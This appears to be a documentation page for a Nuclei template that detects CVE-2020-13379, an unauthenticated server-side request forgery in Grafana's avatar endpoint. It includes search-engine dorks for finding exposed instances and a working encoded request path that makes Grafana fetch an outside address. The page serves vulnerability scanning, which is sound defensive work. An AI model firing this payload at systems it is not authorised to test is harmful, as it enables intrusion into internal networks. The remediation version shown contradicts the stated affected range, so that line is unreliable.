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Grafana 3.0.1-7.0.1 - Server-Side Request Forgery

ID: CVE-2020-13379

Severity: high

Author: Joshua Rogers

Tags: cve2020,cve,grafana,ssrf

Description

Section titled “Description”

Grafana 3.0.1 through 7.0.1 is susceptible to server-side request forgery via the avatar feature, which can lead to remote code execution. Any unauthenticated user/client can make Grafana send HTTP requests to any URL and return its result. This can be used to gain information about the network Grafana is running on, thereby potentially enabling an attacker to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

Section titled “YAML Source”
id: CVE-2020-13379


info:
  name: Grafana 3.0.1-7.0.1 - Server-Side Request Forgery
  author: Joshua Rogers
  severity: high
  description: |
    Grafana 3.0.1 through 7.0.1 is susceptible to server-side request forgery via the avatar feature, which can lead to remote code execution. Any unauthenticated user/client can make Grafana send HTTP requests to any URL and return its result. This can be used to gain information about the network Grafana is running on, thereby potentially enabling an attacker to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    An attacker can exploit this vulnerability to bypass security controls, access internal resources, and potentially perform further attacks.
  remediation: Upgrade to 6.3.4 or higher.
  reference:
    - https://github.com/advisories/GHSA-wc9w-wvq2-ffm9
    - https://github.com/grafana/grafana/commit/ba953be95f0302c2ea80d23f1e5f2c1847365192
    - http://www.openwall.com/lists/oss-security/2020/06/03/4
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13379
    - http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00060.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
    cvss-score: 8.2
    cve-id: CVE-2020-13379
    cwe-id: CWE-918
    epss-score: 0.71681
    epss-percentile: 0.98063
    cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: grafana
    product: grafana
    shodan-query:
      - title:"Grafana"
      - cpe:"cpe:2.3:a:grafana:grafana"
      - http.title:"grafana"
    fofa-query:
      - title="grafana"
      - app="grafana"
    google-query: intitle:"grafana"
  tags: cve2020,cve,grafana,ssrf


http:
  - method: GET
    path:
      - "{{BaseURL}}/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252F1.1.1.1"
      - "{{BaseURL}}/grafana/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252F1.1.1.1"


    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "cloudflare.com"
          - "dns"
        condition: and


      - type: word
        part: header
        words:
          - "image/jpeg"


      - type: status
        status:
          - 200
# digest: 4a0a0047304502207baac3804800adc3ebe25fe442775b5daaa0ad6377c1e9b8366aaa80e70a06fc022100a4d12496a5a315f2ed8713d51b9a508e5d7a5389977c28085e906c705b3a9789:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-13379.yaml"

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